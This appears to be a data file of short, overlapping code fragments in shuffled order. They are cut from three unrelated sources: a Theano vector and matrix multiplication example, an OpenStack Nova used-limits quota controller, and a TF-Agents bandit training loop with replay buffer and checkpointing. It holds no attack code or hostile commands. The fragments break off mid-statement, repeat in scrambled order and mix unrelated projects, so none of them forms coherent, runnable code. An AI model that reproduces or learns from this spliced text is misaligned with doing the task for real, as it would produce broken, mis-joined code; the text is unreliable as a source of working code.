\"__main__\": a = make_vector() b", "a new Theano vector. \"\"\" return T.vector() def make_matrix(): \"\"\"", "vector. \"\"\" return T.vector() def make_matrix(): \"\"\" Returns a new", "vector Returns the matrix-vector product of a and b \"\"\"", "elementwise product of a and b \"\"\" return a *", "the matrix-vector product of a and b \"\"\" return T.dot(a,", "f = function([a, b, d], e) rng = np.random.RandomState([1, 2,", "a_value = rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value = a_value *", "make_vector(): \"\"\" Returns a new Theano vector. \"\"\" return T.vector()", "matrix b: A theano matrix Returns the elementwise product of", "e = matrix_vector_mul(d, c) f = function([a, b, d], e)", "b_value d_value = rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value, c_value) actual", "Theano matrix. \"\"\" return T.matrix() def elemwise_mul(a, b): \"\"\" a:", "= make_matrix() e = matrix_vector_mul(d, c) f = function([a, b,", "b_value = rng.rand(5).astype(b.dtype) c_value = a_value * b_value d_value =", "rng.randn(5, 5).astype(d.dtype) expected = np.dot(d_value, c_value) actual = f(a_value, b_value,", "as np from theano import function import theano.tensor as T", "Returns the elementwise product of a and b \"\"\" return", "c) f = function([a, b, d], e) rng = np.random.RandomState([1,", "e) rng = np.random.RandomState([1, 2, 3]) a_value = rng.randn(5).astype(a.dtype) b_value", "\"\"\" return T.vector() def make_matrix(): \"\"\" Returns a new Theano", "c_value = a_value * b_value d_value = rng.randn(5, 5).astype(d.dtype) expected", "A theano vector Returns the matrix-vector product of a and", "rng.randn(5).astype(a.dtype) b_value = rng.rand(5).astype(b.dtype) c_value = a_value * b_value d_value", "function import theano.tensor as T def make_vector(): \"\"\" Returns a", "= matrix_vector_mul(d, c) f = function([a, b, d], e) rng", "c_value) actual = f(a_value, b_value, d_value) assert np.allclose(actual, expected) print", "theano matrix Returns the elementwise product of a and b", "new Theano vector. \"\"\" return T.vector() def make_matrix(): \"\"\" Returns", "import function import theano.tensor as T def make_vector(): \"\"\" Returns", "= make_vector() b = make_vector() c = elemwise_mul(a, b) d", "matrix_vector_mul(a, b): \"\"\" a: A theano matrix b: A theano", "product of a and b \"\"\" return a * b", "a: A theano matrix b: A theano vector Returns the", "return a * b def matrix_vector_mul(a, b): \"\"\" a: A" ]
[ "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "= self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported(", "may obtain # a copy of the License at #", "QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = {", "False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context = req.environ['nova.context']", "tenant_id = req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id': context.user_id", "'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {} for display_name, key", "# # Licensed under the Apache License, Version 2.0 (the", "project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if", "agreed to in writing, software # distributed under the License", "'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else:", "Unless required by applicable law or agreed to in writing,", "return False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context =", "if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits)", "'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups',", "0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context,", "nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack", "distributed under the License is distributed on an \"AS IS\"", "return int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def", "min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances',", "= (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] +", "} else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed':", "reserved = (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use']", "License, Version 2.0 (the \"License\"); you may # not use", "CONDITIONS OF ANY KIND, either express or implied. See the", "@extensions.expected_errors(()) def index(self, req, resp_obj): context = req.environ['nova.context'] project_id =", "req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed':", "req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME,", "obtain # a copy of the License at # #", "'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed':", "applicable law or agreed to in writing, software # distributed", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "extensions from nova.api.openstack import wsgi from nova.policies import used_limits as", "QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return", "Version 2.0 (the \"License\"); you may # not use this", "+ reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id' in", "specific language governing permissions and limitations # under the License.", "if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target = {", "# not use this file except in compliance with the", "not use this file except in compliance with the License.", "OF ANY KIND, either express or implied. See the #", "import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack import wsgi", "wsgi from nova.policies import used_limits as ul_policies from nova import", "writing, software # distributed under the License is distributed on", "_project_id(self, context, req): if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id')", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "OpenStack Foundation # # Licensed under the Apache License, Version", "in writing, software # distributed under the License is distributed", "(ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj):", "req.environ['nova.context'] project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True)", "tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return tenant_id return context.project_id", "in compliance with the License. You may obtain # a", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "License for the specific language governing permissions and limitations #", "= {} for display_name, key in quota_map.items(): if key in", "api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions", "project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed':", "{} for display_name, key in quota_map.items(): if key in quotas:", "'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map = { 'totalRAMUsed': 'ram',", "'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', }", "License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION", "the License. You may obtain # a copy of the", "under the License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\", "'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {} for display_name,", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "use this file except in compliance with the License. You", "'totalServerGroupsUsed': 'server_groups', } used_limits = {} for display_name, key in", "You may obtain # a copy of the License at", "Copyright 2012 OpenStack Foundation # # Licensed under the Apache", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "= { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips',", "{ 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed':", "except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self, req,", "= req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id': context.user_id }", "quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map", "nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack", "2012 OpenStack Foundation # # Licensed under the Apache License,", "quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed':", "'server_groups', } else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores',", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "target = { 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target)", "'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map = { 'totalRAMUsed':", "api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores',", "for display_name, key in quota_map.items(): if key in quotas: reserved", "the License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\ import", "= quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved'])", "nova import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def", "_reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends", "either express or implied. See the # License for the", "try: return int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(())", "'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {} for", "under the License is distributed on an \"AS IS\" BASIS,", "def _reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError): return False", "'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return tenant_id return", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "may # not use this file except in compliance with", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "import used_limits as ul_policies from nova import quota QUOTAS =", "in quota_map.items(): if key in quotas: reserved = (quotas[key]['reserved'] if", "permissions and limitations # under the License. from nova.api.openstack import", "License is distributed on an \"AS IS\" BASIS, WITHOUT #", "with the License. You may obtain # a copy of", "KIND, either express or implied. See the # License for", "# License for the specific language governing permissions and limitations", "MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack import wsgi from", "{ 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return tenant_id", "'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map", "(quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved", "you may # not use this file except in compliance", "in req.GET: tenant_id = req.GET.get('tenant_id') target = { 'project_id': tenant_id,", "def index(self, req, resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context,", "\"License\"); you may # not use this file except in", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "as ul_policies from nova import quota QUOTAS = quota.QUOTAS class", "int(req.GET['reserved']) except (ValueError, KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self,", "import wsgi from nova.policies import used_limits as ul_policies from nova", "express or implied. See the # License for the specific", "this file except in compliance with the License. You may", "language governing permissions and limitations # under the License. from", "compliance with the License. You may obtain # a copy", "if key in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else", "'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map = {", "the Apache License, Version 2.0 (the \"License\"); you may #", "import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req):", "reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id' in req.GET:", "quota_map.items(): if key in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req)", "self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req,", "if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed':", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from", "used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req):", "from nova import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod", "key in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else 0)", "req.GET: tenant_id = req.GET.get('tenant_id') target = { 'project_id': tenant_id, 'user_id':", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "See the # License for the specific language governing permissions", "used_limits as ul_policies from nova import quota QUOTAS = quota.QUOTAS", "software # distributed under the License is distributed on an", "(the \"License\"); you may # not use this file except", "self._reserved(req) else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id'", "the # License for the specific language governing permissions and", "governing permissions and limitations # under the License. from nova.api.openstack", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "# # Unless required by applicable law or agreed to", "quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed':", "# Copyright 2012 OpenStack Foundation # # Licensed under the", "and limitations # under the License. from nova.api.openstack import api_version_request", "from nova.api.openstack import wsgi from nova.policies import used_limits as ul_policies", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved']) except (ValueError,", "def _project_id(self, context, req): if 'tenant_id' in req.GET: tenant_id =", "file except in compliance with the License. You may obtain", "'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits = {}", "@staticmethod def _reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError): return", "quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try:", "{ 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', }", "else 0) used_limits[display_name] = quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self,", "for the specific language governing permissions and limitations # under", "law or agreed to in writing, software # distributed under", "OR CONDITIONS OF ANY KIND, either express or implied. See", "the specific language governing permissions and limitations # under the", "nova.policies import used_limits as ul_policies from nova import quota QUOTAS", "req): if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target =", "used_limits = {} for display_name, key in quota_map.items(): if key", "under the Apache License, Version 2.0 (the \"License\"); you may", "except in compliance with the License. You may obtain #", "2.0 (the \"License\"); you may # not use this file", "resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context, req) quotas =", "implied. See the # License for the specific language governing", "in quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name]", "resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if 'tenant_id' in req.GET: tenant_id", "= { 'project_id': tenant_id, 'user_id': context.user_id } context.can(ul_policies.BASE_POLICY_NAME, target) return", "@wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context = req.environ['nova.context'] project_id", "nova.api.openstack import wsgi from nova.policies import used_limits as ul_policies from", "ul_policies from nova import quota QUOTAS = quota.QUOTAS class UsedLimitsController(wsgi.Controller):", "'totalServerGroupsUsed': 'server_groups', } else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed':", "'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target = { 'project_id':", "KeyError): return False @wsgi.extends @extensions.expected_errors(()) def index(self, req, resp_obj): context", "from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from", "} used_limits = {} for display_name, key in quota_map.items(): if", "License. You may obtain # a copy of the License", "'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups',", "req, resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context, req) quotas", "= quotas[key]['in_use'] + reserved resp_obj.obj['limits']['absolute'].update(used_limits) def _project_id(self, context, req): if", "req) quotas = QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION):", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "ANY KIND, either express or implied. See the # License", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "\\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import extensions from nova.api.openstack import", "= { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups',", "quotas: reserved = (quotas[key]['reserved'] if self._reserved(req) else 0) used_limits[display_name] =", "# Unless required by applicable law or agreed to in", "nova.api.openstack import extensions from nova.api.openstack import wsgi from nova.policies import", "context, req): if 'tenant_id' in req.GET: tenant_id = req.GET.get('tenant_id') target", "key in quota_map.items(): if key in quotas: reserved = (quotas[key]['reserved']", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "to in writing, software # distributed under the License is", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "# under the License. from nova.api.openstack import api_version_request from nova.api.openstack.api_version_request", "context = req.environ['nova.context'] project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context,", "UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved']) except (ValueError, KeyError):", "else: quota_map = { 'totalRAMUsed': 'ram', 'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances',", "'totalCoresUsed': 'cores', 'totalInstancesUsed': 'instances', 'totalServerGroupsUsed': 'server_groups', } else: quota_map =", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "= req.environ['nova.context'] project_id = self._project_id(context, req) quotas = QUOTAS.get_project_quotas(context, project_id,", "usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map = { 'totalRAMUsed': 'ram',", "index(self, req, resp_obj): context = req.environ['nova.context'] project_id = self._project_id(context, req)", "'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits =", "or agreed to in writing, software # distributed under the", "required by applicable law or agreed to in writing, software", "'server_groups', } used_limits = {} for display_name, key in quota_map.items():", "quota.QUOTAS class UsedLimitsController(wsgi.Controller): @staticmethod def _reserved(req): try: return int(req.GET['reserved']) except", "Foundation # # Licensed under the Apache License, Version 2.0", "display_name, key in quota_map.items(): if key in quotas: reserved =", "from nova.api.openstack import extensions from nova.api.openstack import wsgi from nova.policies", "limitations # under the License. from nova.api.openstack import api_version_request from", "'totalInstancesUsed': 'instances', 'totalFloatingIpsUsed': 'floating_ips', 'totalSecurityGroupsUsed': 'security_groups', 'totalServerGroupsUsed': 'server_groups', } used_limits", "= QUOTAS.get_project_quotas(context, project_id, usages=True) if api_version_request.is_supported( req, min_version=MIN_WITHOUT_PROXY_API_SUPPORT_VERSION): quota_map =", "import extensions from nova.api.openstack import wsgi from nova.policies import used_limits", "import api_version_request from nova.api.openstack.api_version_request \\ import MIN_WITHOUT_PROXY_API_SUPPORT_VERSION from nova.api.openstack import", "from nova.policies import used_limits as ul_policies from nova import quota", "or implied. See the # License for the specific language", "Apache License, Version 2.0 (the \"License\"); you may # not" ]
[ "they get to the replay buffer. \"\"\" # TODO(b/127641485): create", "metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100 == 0: saver.save(os.path.join(root_dir, 'policy_%d'", "a function that writes checkpoints.\"\"\" trackable_objects = {metric.name: metric for", "during each training loop. \"\"\" def training_loop(): \"\"\"Returns a `tf.function`", "a pre-existing checkpoint. ' 'Starting from scratch.') return checkpoint_manager def", "2.0 (the \"License\"); # you may not use this file", "steps_per_loop) # `step_metric` records the number of individual rounds of", "step_metric): \"\"\"Restores from `root_dir` and returns a function that writes", "driver steps should be executed and presented to the trainer", "steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t:", "{metric.name: metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME]", "to the trainer during each training loop. \"\"\" def training_loop():", "agent.train(experience) replay_buffer.clear() return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics,", "one of them. Here is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns):", "Here is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards = ...", "# https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn, step_metric] + metrics driver", "more baseline_reward_fns are provided, the regret is computed against each", "each one of them. Here is example baseline_reward_fn: def baseline_reward_fn(observation,", "get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for the given `agent`.\"\"\"", "dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [", "batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not", "from tf_agents.metrics import tf_metrics from tf_agents.policies import policy_saver from tf_agents.replay_buffers", "set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info return training_loop", "buffer. \"\"\" # TODO(b/127641485): create evaluation loop with configurable metrics.", "training function for bandits.\"\"\" from __future__ import absolute_import from __future__", "is, (number of trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics", "is not None: add_batch_fn = lambda data: replay_buffer.add_batch( # pylint:", "and training loops. Args: driver: an instance of `Driver`. replay_buffer:", "is not None: logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully", "AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def", "'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a", "step_metric.result()) else: logging.info('Did not find a pre-existing checkpoint. ' 'Starting", "+ list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)]", "checkpoints and metrics will be written. agent: an instance of", "use this file except in compliance with the License. #", "= input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps),", "tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def", "saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i", "a `tf.function` that runs the driver and training loops. Args:", "= dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop =", "import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME", "num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer, agent,", "and returns a function that writes checkpoints.\"\"\" trackable_objects = {metric.name:", "tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if", "metrics will be written. agent: an instance of `TFAgent`. environment:", "License. # You may obtain a copy of the License", "many training loops should be run. steps_per_loop: an integer indicating", "provided, the regret is computed against each one of them.", "of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless", "runs the training loop.\"\"\" driver.run() batch_size = driver.env.batch_size dataset =", "tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver", "trackable_objects = {metric.name: metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] =", "# `step_metric` records the number of individual rounds of bandit", "else: logging.info('Did not find a pre-existing checkpoint. ' 'Starting from", "tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from tf_agents.eval", "pre-existing checkpoint. ' 'Starting from scratch.') return checkpoint_manager def train(root_dir,", "under the License is distributed on an \"AS IS\" BASIS,", "input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent,", "... # compute reward for each arm optimal_action_reward = ...", "License for the specific language governing permissions and # limitations", "experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear()", "= training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric`", "= tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for", "add_batch_fn = lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else:", "metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer", "baseline_reward_fn(observation, per_action_reward_fns): rewards = ... # compute reward for each", "None: logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to", "None: add_batch_fn = lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data))", "for each arm optimal_action_reward = ... # take the maximum", "2020 The TF-Agents Authors. # # Licensed under the Apache", "policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME =", "instance of `Driver`. replay_buffer: an instance of `ReplayBuffer`. agent: an", "def train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops`", "in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100 == 0:", "Optional function that transforms the data items before they get", "from __future__ import absolute_import from __future__ import division from __future__", "in compliance with the License. # You may obtain a", "software # distributed under the License is distributed on an", "from tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent'", "agent: an instance of `TFAgent`. steps: an integer indicating how", "%s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to step %s.', step_metric.result()) else:", "CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer`", "'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for the", "return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape =", "presented to the trainer during each training loop. \"\"\" def", "tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info return", "= [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(), dict):", "tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX", "loops should be run. steps_per_loop: an integer indicating how many", "= steps input_tensor.set_shape(tensor_shape) 